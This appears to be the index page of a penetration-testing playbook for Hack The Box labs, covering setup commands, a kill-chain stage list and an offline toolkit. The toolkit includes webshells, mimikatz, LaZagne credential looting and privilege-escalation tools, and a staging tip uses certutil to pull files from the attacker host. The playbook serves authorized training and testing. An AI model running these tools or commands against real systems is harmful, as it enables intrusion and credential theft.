HTB Pentest Attack Flow
[!dashboard] Workspace Playbook: HTB Attack Flow Playbook
Vault: Cybersecurity MOC
Purpose: Move from scope and reconnaissance through exploitation, post-exploitation, evidence handling, and reporting.
[!warning] Authorized targets only Use these commands only inside an engagement or lab where you have explicit permission. Record scope, timestamps, commands, and evidence as you work.
Quick Setup
[!tip] Set the engagement context once Keep target details in the shell environment so commands remain readable and accidental target mix-ups are less likely.
export IP="10.10.10.10" # primary target host
export TARGET="target.htb"
export DOMAIN="inlanefreight.local"
export DC="dc01.$DOMAIN" # DC FQDN
export DCIP="10.10.10.5" # DC IP — most impacket/nxc flags want -dc-ip $DCIP
export LHOST="10.10.14.2"
export U="username"
export P="password"
export NT="" # NT hash, when you have one: -hashes :$NT
printf '%s\t%s %s\n' "$IP" "$TARGET" "$DC" | sudo tee -a /etc/hosts
printf '%s\t%s\n' "$DCIP" "$DC" | sudo tee -a /etc/hosts
[!tip] Wordlists — set once, reuse everywhere
export ROCKYOU="/usr/share/wordlists/rockyou.txt" export SECLISTS="/usr/share/SecLists" # common pulls: # $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt # $SECLISTS/Usernames/xato-net-10-million-usernames.txt # $SECLISTS/Passwords/Leaked-Databases/rockyou.txtOn a fresh attack box:
sudo apt install seclists wordlists && sudo gunzip /usr/share/wordlists/rockyou.txt.gz. Repo: SecLists.
[!note] Keep the clock synchronized Kerberos is time-sensitive (max ~5 min skew,
KRB_AP_ERR_SKEW). If authentication fails unexpectedly, compare your clock with the domain controller before changing attack paths.nmap -p 88 --script clock-skew -Pn $DCIP # measure the skew sudo ntpdate $DCIP # hard-sync (or: sudo timedatectl set-ntp off first) faketime -f '+7h30m' getTGT.py "$DOMAIN/$U:$P" -dc-ip $DCIP # or wrap just the one toolPrefer faketime per-command over touching the system clock;
htpdateworks when only HTTP(S) egress exists. Deep dive: Stage 05 — Kerberos Attacks.
[!tools] Modern toolchain (2026) — legacy → current
Legacy Use instead Why CrackMapExec ( cme)NetExec ( nxc)cme is unmaintained; nxc is the drop-in successor ( nxc smb/ldap/winrm/mssql).BloodHound Legacy + SharpHound 4 BloodHound CE + bloodhound-ce-python / RustHound-CE CE (Postgres, new edge model) is what HTB/CPTS material assumes now; legacy ingestors break against it. ADCS by hand Certipy ( certipy-ad find -vulnerable) + on-host Certify.exe (SHA-256 · GPG signature)One command maps ESC1–ESC16 instead of manual template audit. On-host Kerberos by hand Rubeus.exe (SHA-256 · GPG signature) Roast, asktgt/asktgs, delegation abuse, ticket injection from Windows. Manual ACL edits bloodyAD / impacket dacledit.py,owneredit.py,rbcd.pyReversible, scriptable ACE changes. Everything in the right column above (and more) ships offline in this vault — see the toolkit table below.
Kill Chain
Stage Index
| # | Stage | Primary outcome |
|---|---|---|
| 01 | Stage 00 — Passive External Recon | Build an external picture without touching the target. |
| 02 | Stage 01 — Recon and Host Discovery | Identify live hosts, services, names, and initial priorities. |
| 03 | Stage 02 — Web Enumeration and Exploitation | Map and test the web attack surface. |
| 04 | Foothold Toolkit — File Transfers | Move tools and evidence using an appropriate channel. |
| 05 | Foothold Toolkit — Shells, Payloads, and Metasploit | Establish and stabilize an authorized foothold. |
| 06 | Stage 03 — Service Enumeration | Deep-enumerate SMB, RPC, LDAP, DNS, and other services. |
| 07 | Stage 04 — Active Directory Enumeration | Build the directory, host, session, and privilege graph. |
| 08 | Stage 05 — Kerberos Attacks | Identify and validate Kerberos-specific attack paths. |
| 09 | Stage 06 — ACL and Object Abuse | Turn delegated rights and object control into escalation paths. |
| 10 | Stage 07 — ADCS and Certificate Abuse | Enumerate and safely validate certificate attack paths. |
| 11 | Stage 08 — Password Attacks and Credential Hunting | Find, validate, and protect credential material. |
| 12 | Stage 09 — Privilege Escalation | Escalate locally on Linux or Windows with evidence. |
| 13 | Stage 10 — Lateral Movement, Pivoting, and Loot | Move deliberately, reach segmented assets, and collect evidence. |
| 14 | Domain Trusts and Cross-Forest | Extend the graph beyond a single domain. |
| 15 | Stage 11 — Documentation and Reporting | Maintain evidence and turn validated paths into findings. |
| 16 | Appendix — Worked Chains | Review end-to-end examples. |
| 17 | Tool Index | Jump from a tool to its place in the workflow. |
Offline Toolkit (attachments/)
The attachments/ folder ships offline with this vault — no egress needed on an air-gapped or HTB VPN lab. Verify integrity before staging anything to a target (record: SHA256SUMS (GPG signature)):
cd attachments && sha256sum -c SHA256SUMS.txt --ignore-missing
[!warning] Verify, then stage Confirm every binary against SHA256SUMS (GPG signature) before use, and expect AV/Defender to flag most of these — stage in a lab, whitelist only in-scope paths, and clean up afterwards (Stage 11).
| File | Platform | Purpose | Primary stage |
|---|---|---|---|
| Certify.exe (SHA-256 · GPG signature) | Windows | GhostPack Certify — on-host ADCS enumeration/abuse (ESC paths) | Stage 07 |
| Go365_linux_amd64.tar.gz (SHA-256 · GPG signature) | Linux | Go365 — Office 365 password spraying | Stage 08 |
| GodPotato-NET35.exe (SHA-256 · GPG signature) | Windows (.NET 3.5) | SeImpersonate → SYSTEM (works with Spooler disabled) | Stage 09 |
| GodPotato-NET4.exe (SHA-256 · GPG signature) | Windows (.NET 4.x) | SeImpersonate → SYSTEM (works with Spooler disabled) | Stage 09 |
| Inveigh.ps1 (SHA-256 · GPG signature) | Windows | LLMNR/NBNS/mDNS spoofing + NTLM capture (Windows-side Responder) | Stage 03 |
| JuicyPotato.exe (SHA-256 · GPG signature) | Windows | SeImpersonate privesc (pre-Server 2019 / Win10 1809) | Stage 09 |
| LaZagne.exe (SHA-256 · GPG signature) | Windows | Local credential looting (browsers, mail, Wi-Fi, etc.) | Stage 10 |
| MSOLSpray.ps1 (SHA-256 · GPG signature) | Windows | Azure AD / O365 password spraying | Stage 08 |
| PetitPotam.py (SHA-256 · GPG signature) | Linux | EFS RPC NTLM coercion (ESC8 prerequisite) | Stage 07 |
| PowerUp.ps1 (SHA-256 · GPG signature) | Windows | PowerSploit PowerUp — Windows privesc misconfig checks | Stage 09 |
| PowerView.ps1 (SHA-256 · GPG signature) | Windows | PowerSploit PowerView — AD enumeration | Stage 04 |
| PrintSpoofer64.exe (SHA-256 · GPG signature) | Windows | SeImpersonate → SYSTEM via named pipe (needs Spooler) | Stage 09 |
| PrivescCheck.ps1 (SHA-256 · GPG signature) | Windows | PrivescCheck — PowerShell Windows privesc enumeration | Stage 09 |
| Rubeus.exe (SHA-256 · GPG signature) | Windows | GhostPack Rubeus — Kerberos abuse (roast, tickets, delegation) | Stage 05 |
| SHA256SUMS (GPG signature) | Any | Integrity record for every file in attachments/ | This dashboard |
| Seatbelt.exe (SHA-256 · GPG signature) | Windows | GhostPack Seatbelt — host situational awareness | Stage 09 |
| SharpDPAPI.exe (SHA-256 · GPG signature) | Windows | GhostPack SharpDPAPI — DPAPI masterkey/blob abuse | Stage 10 |
| SharpHound.zip (SHA-256 · GPG signature) | Windows | SharpHound collector (exe + ps1) for BloodHound CE | Stage 04 |
| SharpUp.exe (SHA-256 · GPG signature) | Windows | GhostPack SharpUp — privesc misconfig checks (C#) | Stage 09 |
| SharpView.exe (SHA-256 · GPG signature) | Windows | SharpView — C# port of PowerView | Stage 04 |
| SharpWMI.exe (SHA-256 · GPG signature) | Windows | GhostPack SharpWMI — WMI lateral movement | Stage 10 |
| Snaffler.exe (SHA-256 · GPG signature) | Windows | Snaffler — hunt creds in domain shares | Stage 03 |
| StandIn_v13_Net35_45.zip (SHA-256 · GPG signature) | Windows | StandIn — AD object/ACE manipulation from Windows | Stage 06 |
| SweetPotato.exe (SHA-256 · GPG signature) | Windows | Potato combo (PrintSpoofer + Rotten + EfsRpc) | Stage 09 |
| Whisker.exe (SHA-256 · GPG signature) | Windows | Shadow Credentials (msDS-KeyCredentialLink) from Windows | Stage 06 |
| chisel.exe (SHA-256 · GPG signature) | Windows | chisel — TCP/UDP tunneling over HTTP | Stage 10 |
| chisel_linux_amd64 (SHA-256 · GPG signature) | Linux | chisel — TCP/UDP tunneling over HTTP | Stage 10 |
| donut_v1.1.zip (SHA-256 · GPG signature) | Cross | donut — PE/DLL/EXE → position-independent shellcode | Foothold — Shells |
| fscan_windows_x64.exe (SHA-256 · GPG signature) | Windows | fscan — internal all-in-one scanner (ports, services, creds) | Stage 10 |
| gowitness_linux_amd64 (SHA-256 · GPG signature) | Linux | gowitness — bulk web screenshotting | Stage 02 |
| gowitness_windows_amd64.exe (SHA-256 · GPG signature) | Windows | gowitness — bulk web screenshotting | Stage 02 |
| jaws-enum.ps1 (SHA-256 · GPG signature) | Windows | JAWS — Windows privesc enumeration script | Stage 09 |
| kerbrute_linux_amd64 (SHA-256 · GPG signature) | Linux | kerbrute — Kerberos user enum + spray | Stage 04 |
| kerbrute_windows_amd64.exe (SHA-256 · GPG signature) | Windows | kerbrute — Kerberos user enum + spray | Stage 04 |
| ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature) | Linux | ligolo-ng agent — TUN-based pivoting | Stage 10 |
| ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) | Windows | ligolo-ng agent — TUN-based pivoting | Stage 10 |
| linpeas.sh (SHA-256 · GPG signature) | Linux | LinPEAS — Linux privesc enumeration | Stage 09 |
| linpeas_linux_amd64 (SHA-256 · GPG signature) | Linux | LinPEAS binary build | Stage 09 |
| mimikatz_trunk.zip (SHA-256 · GPG signature) | Windows | mimikatz — credential extraction, tickets, DCSync | Stage 10 |
| nc64.exe (SHA-256 · GPG signature) | Windows | netcat for Windows — shells, transfers, listeners | Foothold — Shells |
| nishang-master.zip (SHA-256 · GPG signature) | Windows | Nishang — offensive PowerShell toolkit | Foothold — Shells |
| nt-webshell-rosepine.aspx (SHA-256 · GPG signature) | IIS / ASPX | Custom C# ASPX webshell for IIS targets | Stage 02 |
| pspy32 (SHA-256 · GPG signature) | Linux (x86) | pspy — unprivileged process/cron monitor | Stage 09 |
| pspy64 (SHA-256 · GPG signature) | Linux (x64) | pspy — unprivileged process/cron monitor | Stage 09 |
| rp-shell.asp (SHA-256 · GPG signature) | IIS / ASP | Classic ASP webshell | Stage 02 |
| rp-shell.jsp (SHA-256 · GPG signature) | Java app servers | JSP webshell (Tomcat, JBoss, etc.) | Stage 02 |
| rp-shell.php (SHA-256 · GPG signature) | PHP hosts | PHP webshell | Stage 02 |
| targetedKerberoast.py (SHA-256 · GPG signature) | Linux | Targeted kerberoast — set an SPN on a GenericWrite target | Stage 06 |
| winPEASany.exe (SHA-256 · GPG signature) | Windows (any arch) | WinPEAS — Windows privesc enumeration | Stage 09 |
| winPEASx64.exe (SHA-256 · GPG signature) | Windows (x64) | WinPEAS — Windows privesc enumeration | Stage 09 |
| ysoserial-all.jar (SHA-256 · GPG signature) | Java | ysoserial — Java deserialization payloads | Stage 02 |
| ysoserial.net_v1.36.zip (SHA-256 · GPG signature) | Windows | ysoserial.net — .NET deserialization payloads | Stage 02 |
[!tip] Where to stage from Serve the whole folder from your attack box with
python3 -m http.server 8000 --directory attachmentsor updog, then pull withcertutil -urlcache -split -f http://$LHOST:8000/<file>oriwr— transfer recipes in Foothold Toolkit — File Transfers.
Progress
Engagement Discipline
- Work from scope and evidence, not assumptions.
- Prefer the least invasive test that proves or disproves a path.
- Keep raw output separate from conclusions.
- Record credentials as sensitive evidence; do not paste secrets into permanent notes.
- Log every material target change and include a rollback step.
- Stop and reassess when a command could affect availability or other users.
- Every new credential = restart at Stage 04 as that identity (new BloodHound edges).
- Reverse every AD object/ACE change you make — see the OPSEC callouts in Stage 06.
[!navigation] Start the workflow Next: Stage 00 — Passive External Recon